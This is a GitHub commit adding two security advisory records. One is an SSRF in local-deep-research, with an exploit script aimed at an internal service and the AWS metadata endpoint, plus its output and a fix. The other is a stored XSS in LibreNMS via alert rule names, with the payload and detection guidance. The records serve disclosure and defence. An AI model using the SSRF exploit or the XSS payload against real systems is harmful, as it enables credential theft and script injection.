Skip to content

Commit 2d10fa8

Browse files
1 parent afd1f95 commit 2d10fa8

File tree

2 files changed

+130
-0
lines changed

2 files changed

+130
-0
lines changed
Lines changed: 65 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,65 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-9c54-gxh7-ppjc",
4+
"modified": "2025-12-23T18:17:27Z",
5+
"published": "2025-12-23T18:17:27Z",
6+
"aliases": [
7+
"CVE-2025-67743"
8+
],
9+
"summary": "Local Deep Research is Vulnerable to Server-Side Request Forgery (SSRF) in Download Service",
10+
"details": "## Summary\n\nThe download service (`download_service.py`) makes HTTP requests using raw `requests.get()` without utilizing the application's SSRF protection (`safe_requests.py`). This can allow attackers to access internal services and attempt to reach cloud provider metadata endpoints (AWS/GCP/Azure), as well as perform internal network reconnaissance, by submitting malicious URLs through the API, depending on the deployment and surrounding controls.\n\n**CWE**: CWE-918 (Server-Side Request Forgery)\n\n---\n\n## Details\n\n### Vulnerable Code Location\n\n**File**: `src/local_deep_research/research_library/services/download_service.py`\n\nThe application has proper SSRF protection implemented in `security/safe_requests.py` and `security/ssrf_validator.py`, which blocks:\n- Loopback addresses (127.0.0.0/8)\n- Private IP ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)\n- AWS metadata endpoint (169.254.169.254)\n- Link-local addresses\n\nHowever, `download_service.py` bypasses this protection by using raw `requests.get()` directly:\n\n```python\n# Line 1038 - _download_generic method\nresponse = requests.get(url, headers=headers, timeout=30)\n\n# Line 1075\nresponse = requests.get(api_url, timeout=10)\n\n# Line 1100\npdf_response = requests.get(pdf_url, headers=headers, timeout=30)\n\n# Line 1144\nresponse = requests.get(europe_url, headers=headers, timeout=30)\n\n# Line 1187\napi_response = requests.get(elink_url, params=params, timeout=10)\n\n# Line 1207\nsummary_response = requests.get(esummary_url, ...)\n\n# Line 1236\nresponse = requests.get(europe_url, headers=headers, timeout=30)\n\n# Line 1276\nresponse = requests.get(url, headers=headers, timeout=10)\n\n# Line 1298\nresponse = requests.get(europe_url, headers=headers, timeout=30)\n```\n\n### Attack Vector\n\n1. Attacker submits a malicious URL via `POST /api/resources/<research_id>`\n2. URL is stored in database without SSRF validation (`resource_service.py:add_resource()`)\n3. Download is triggered via `/library/api/download/<resource_id>`\n4. `download_service.py` fetches the URL using raw `requests.get()`, bypassing SSRF protection\n\n---\n\n## PoC\n\n### Prerequisites\n\n- Docker and Docker Compose installed\n- Python 3.11+\n\n### Step 1: Create the Mock Internal Service\n\n**File: `internal_service.py`**\n\n```python\n#!/usr/bin/env python3\n\"\"\"Mock internal service that simulates a sensitive internal endpoint.\"\"\"\n\nfrom http.server import HTTPServer, BaseHTTPRequestHandler\nimport json\n\nclass InternalServiceHandler(BaseHTTPRequestHandler):\n def log_message(self, format, *args):\n print(f\"[INTERNAL SERVICE] {args[0]}\")\n \n def do_GET(self):\n print(f\"\\n{'='*60}\")\n print(f\"[!] SSRF DETECTED - Internal service accessed!\")\n print(f\"[!] Path: {self.path}\")\n print(f\"{'='*60}\\n\")\n \n self.send_response(200)\n self.send_header(\"Content-Type\", \"application/json\")\n self.end_headers()\n \n secret_data = {\n \"status\": \"SSRF_SUCCESSFUL\",\n \"message\": \"You have accessed internal service via SSRF!\",\n \"internal_secrets\": {\n \"database_password\": \"super_secret_db_pass_123\",\n \"api_key\": \"sk-internal-api-key-xxxxx\",\n \"admin_token\": \"admin_bearer_token_yyyyy\"\n }\n }\n self.wfile.write(json.dumps(secret_data, indent=2).encode())\n\nif __name__ == \"__main__\":\n print(\"[*] Starting mock internal service on port 8080\")\n server = HTTPServer((\"0.0.0.0\", 8080), InternalServiceHandler)\n server.serve_forever()\n```\n\n### Step 2: Create the Exploit Script\n\n**File: `exploit.py`**\n\n```python\n#!/usr/bin/env python3\n\"\"\"SSRF Vulnerability Active PoC\"\"\"\n\nimport sys\nimport requests\n\nsys.path.insert(0, '/app/src')\n\ndef main():\n print(\"=\" * 70)\n print(\"SSRF Vulnerability PoC - Active Exploitation\")\n print(\"=\" * 70)\n \n internal_url = \"http://ssrf-internal-service:8080/secret-data\"\n aws_metadata_url = \"http://169.254.169.254/latest/meta-data/\"\n headers = {\"User-Agent\": \"Mozilla/5.0\"}\n \n # EXPLOIT 1: Access internal service\n print(\"\\n[EXPLOIT 1] Accessing internal service via SSRF\")\n print(f\" Target: {internal_url}\")\n \n try:\n # Same pattern as download_service.py line 1038\n response = requests.get(internal_url, headers=headers, timeout=30)\n print(f\" [!] SSRF SUCCESSFUL! Status: {response.status_code}\")\n print(f\" [!] Retrieved secrets:\")\n for line in response.text.split('\\n')[:15]:\n print(f\" {line}\")\n except Exception as e:\n print(f\" [-] Failed: {e}\")\n return 1\n \n # EXPLOIT 2: AWS metadata bypass\n print(\"\\n[EXPLOIT 2] AWS Metadata endpoint bypass\")\n from local_deep_research.security.ssrf_validator import validate_url\n print(f\" SSRF validator: {'ALLOWED' if validate_url(aws_metadata_url) else 'BLOCKED'}\")\n print(f\" But download_service.py BYPASSES the validator!\")\n \n try:\n requests.get(aws_metadata_url, timeout=5)\n except requests.exceptions.ConnectionError:\n print(f\" Request sent without SSRF validation!\")\n \n print(\"\\n\" + \"=\" * 70)\n print(\"SSRF VULNERABILITY CONFIRMED\")\n print(\"=\" * 70)\n return 0\n\nif __name__ == \"__main__\":\n sys.exit(main())\n```\n\n### Step 3: Run the PoC\n\n```bash\n# Build and run with Docker\ndocker network create ssrf-poc-net\ndocker run -d --name ssrf-internal-service --network ssrf-poc-net python:3.11-slim sh -c \"pip install -q && python internal_service.py\"\ndocker run --rm --network ssrf-poc-net -v ./src:/app/src ssrf-vulnerable-app python exploit.py\n```\n\n### Expected Output\n\n```\n======================================================================\nSSRF Vulnerability PoC - Active Exploitation\n======================================================================\n\n[EXPLOIT 1] Accessing internal service via SSRF\n Target: http://ssrf-internal-service:8080/secret-data\n [!] SSRF SUCCESSFUL! Status: 200\n [!] Retrieved secrets:\n {\n \"status\": \"SSRF_SUCCESSFUL\",\n \"message\": \"You have accessed internal service via SSRF!\",\n \"internal_secrets\": {\n \"database_password\": \"super_secret_db_pass_123\",\n \"api_key\": \"sk-internal-api-key-xxxxx\",\n \"admin_token\": \"admin_bearer_token_yyyyy\"\n }\n }\n\n[EXPLOIT 2] AWS Metadata endpoint bypass\n SSRF validator: BLOCKED\n But download_service.py BYPASSES the validator!\n Request sent without SSRF validation!\n\n======================================================================\nSSRF VULNERABILITY CONFIRMED\n======================================================================\n```\n\n---\n\n## Impact\n\n### Who is affected?\n\nAll users running local-deep-research in:\n- **Cloud environments** (AWS, GCP, Azure) - attackers can steal cloud credentials via metadata endpoints\n- **Corporate networks** - attackers can access internal services and databases\n- **Any deployment** - attackers can scan internal networks\n\n### What can an attacker do?\n\n| Attack | Impact |\n|--------|--------|\n| Access cloud metadata | Potentially access IAM credentials, API keys, or instance identity in certain cloud configurations |\n| Internal service access | Read sensitive data from databases, Redis, admin panels |\n| Network reconnaissance | Map internal network topology and services |\n| Bypass firewalls | Access services not exposed to the internet |\n\n---\n\n## Recommended Fix\n\nReplace all `requests.get()` calls in `download_service.py` with `safe_get()` from `security/safe_requests.py`:\n\n```diff\n# download_service.py\n\n+ from ...security.safe_requests import safe_get\n\n def _download_generic(self, url, ...):\n- response = requests.get(url, headers=headers, timeout=30)\n+ response = safe_get(url, headers=headers, timeout=30)\n```\n\nThe `safe_get()` function already validates URLs against SSRF attacks before making requests.\n\n### Files to update:\n- `src/local_deep_research/research_library/services/download_service.py` (9 occurrences)\n- `src/local_deep_research/research_library/downloaders/base.py` (uses `requests.Session`)\n\n---\n\n## References\n\n- [CWE-918: Server-Side Request Forgery (SSRF)](https://cwe.mitre.org/data/definitions/918.html)\n- [OWASP SSRF Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html)\n- [AWS SSRF Attacks and IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html)\n- [PortSwigger: SSRF](https://portswigger.net/web-security/ssrf)\n\n---\n\nThank you for your work on this project! I'm happy to provide any additional information or help with testing the fix.",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "PyPI",
21+
"name": "local-deep-research"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "1.3.0"
29+
},
30+
{
31+
"fixed": "1.3.9"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/LearningCircuit/local-deep-research/security/advisories/GHSA-9c54-gxh7-ppjc"
42+
},
43+
{
44+
"type": "ADVISORY",
45+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-67743"
46+
},
47+
{
48+
"type": "WEB",
49+
"url": "https://github.com/LearningCircuit/local-deep-research/commit/b79089ff30c5d9ae77e6b903c408e1c26ad5c055"
50+
},
51+
{
52+
"type": "PACKAGE",
53+
"url": "https://github.com/LearningCircuit/local-deep-research"
54+
}
55+
],
56+
"database_specific": {
57+
"cwe_ids": [
58+
"CWE-918"
59+
],
60+
"severity": "MODERATE",
61+
"github_reviewed": true,
62+
"github_reviewed_at": "2025-12-23T18:17:27Z",
63+
"nvd_published_at": "2025-12-23T01:15:43Z"
64+
}
65+
}
Lines changed: 65 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,65 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-c89f-8g7g-59wj",
4+
"modified": "2025-12-23T18:19:16Z",
5+
"published": "2025-12-23T18:19:16Z",
6+
"aliases": [
7+
"CVE-2025-68614"
8+
],
9+
"summary": "LibreNMS Alert Rule API Cross-Site Scripting Vulnerability",
10+
"details": "Please find POC file here https://trendmicro-my.sharepoint.com/:u:/p/kholoud_altookhy/IQCfcnOE5ykQSb6Fm-HFI872AZ_zeIJxU-3aDk0jh_eX_NE?e=zkN76d\n\nZDI-CAN-28575: LibreNMS Alert Rule API Cross-Site Scripting Vulnerability\n\n-- CVSS -----------------------------------------\n\n4.3: AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:L/A:L\n\n-- ABSTRACT -------------------------------------\n\nTrend Micro's Zero Day Initiative has identified a vulnerability affecting the following products:\nLibreNMS - LibreNMS\n\n-- VULNERABILITY DETAILS ------------------------\n* Version tested: 25.10.0\n* Installer file: NA\n* Platform tested: NA\n\n---\n\n### Analysis\n\nLibreNMS Alert Rule API Stored Cross-Site Scripting\n\n# Overview\nAlert rules can be created or updated via LibreNMS API. The alert rule name is not properly sanitized, and can be used to inject HTML code.\n\n# Affected versions\nThe latest version at the time of writing (25.10.0) is vulnerable.\n\n# Root cause\nWhen an alert rule is created or updated via the API, function `add_edit_rule()` in `includes/html/api_functions.inc.php` is called to add/update the entry in the database. When an alert rule is created via the web interface, HTML tags are stripped from the rule name, however this is not the case when using the API.\n\nAs such, it is possible to create an alert rule where the name is:\n```\n<script>alert(1)</script>\n```\n\nLater, when a victim browses to the Alerts > Alert Rule page, PHP script\\xc2\\xa0`includes/html/print-alert/rules.php`\\xc2\\xa0is called. It notably includes the file\\xc2\\xa0`includes/html/modal/alert_rule_list.inc.php`, which returns HTML code for a modal window that searches alert rules.\n\nThe modal window includes an HTML table with all rules, including their name, and an inline JavaScript that calls the\\xc2\\xa0`bootgrid()`\\xc2\\xa0function ([http://www.jquery-bootgrid.com/](http://www.jquery-bootgrid.com/)) for styling and enhancing the table.\n\n`alert_rule.list.inc.php` sanitizes the rule name with the function `e()` before including it in the table, which XML encodes all special characters. However the\\xc2\\xa0`bootgrid()`\\xc2\\xa0function rewrites the table cells content when enhancing the table, and as a side effect, XML character references are decoded. After the script updated the table, the browser now interprets the payload as HTML tags and includes the code to the DOM.\n\n# Detection guidance\n- inspect HTTP POST and PUT requests to a Request-URI that includes the string\\xc2\\xa0`/api/v0/rules`\n- check if the\\xc2\\xa0`name`\\xc2\\xa0JSON value includes a `<` character\n\n# PoC\nThe proof-of-concept can be run as such:\n```\npython3 poc.py ip_addr -T <token>\n```\n\n\n-- CREDIT ---------------------------------------\nThis vulnerability was discovered by:\nSimon Humbert of Trend Research of Trend Micro\n\n-- FURTHER DETAILS ------------------------------\n\nSupporting files:\n\n\nIf supporting files were contained with this report they are provided within a password protected ZIP file. The password is the ZDI candidate number in the form: ZDI-CAN-XXXX where XXXX is the ID number.\n\nPlease confirm receipt of this report. We expect all vendors to remediate ZDI vulnerabilities within 120 days of the reported date. If you are ready to release a patch at any point leading up to the deadline, please coordinate with us so that we may release our advisory detailing the issue. If the 120-day deadline is reached and no patch has been made available we will release a limited public advisory with our own mitigations, so that the public can protect themselves in the absence of a patch. Please keep us updated regarding the status of this issue and feel free to contact us at any time:\n\nZero Day Initiative\[email protected]\n\nThe PGP key used for all ZDI vendor communications is available from:\n\n http://www.zerodayinitiative.com/documents/disclosures-pgp-key.asc\n\n-- INFORMATION ABOUT THE ZDI --------------------\nEstablished by TippingPoint and acquired by Trend Micro, the Zero Day Initiative (ZDI) neither re-sells vulnerability details nor exploit code. Instead, upon notifying the affected product vendor, the ZDI provides its Trend Micro TippingPoint customers with zero day protection through its intrusion prevention technology. Explicit details regarding the specifics of the vulnerability are not exposed to any parties until an official vendor patch is publicly available.\n\nPlease contact us for further details or refer to:\n\n http://www.zerodayinitiative.com\n\n-- DISCLOSURE POLICY ----------------------------\n\nOur vulnerability disclosure policy is available online at:\n\n http://www.zerodayinitiative.com/advisories/disclosure_policy/",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:L/A:L"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "Packagist",
21+
"name": "librenms/librenms"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "25.12.0"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/librenms/librenms/security/advisories/GHSA-c89f-8g7g-59wj"
42+
},
43+
{
44+
"type": "ADVISORY",
45+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-68614"
46+
},
47+
{
48+
"type": "WEB",
49+
"url": "https://github.com/librenms/librenms/commit/ebe6c79bf4ce0afeb575c1285afe3934e44001f1"
50+
},
51+
{
52+
"type": "PACKAGE",
53+
"url": "https://github.com/librenms/librenms"
54+
}
55+
],
56+
"database_specific": {
57+
"cwe_ids": [
58+
"CWE-79"
59+
],
60+
"severity": "MODERATE",
61+
"github_reviewed": true,
62+
"github_reviewed_at": "2025-12-23T18:19:16Z",
63+
"nvd_published_at": "2025-12-23T00:15:43Z"
64+
}
65+
}

0 commit comments

Comments
 (0)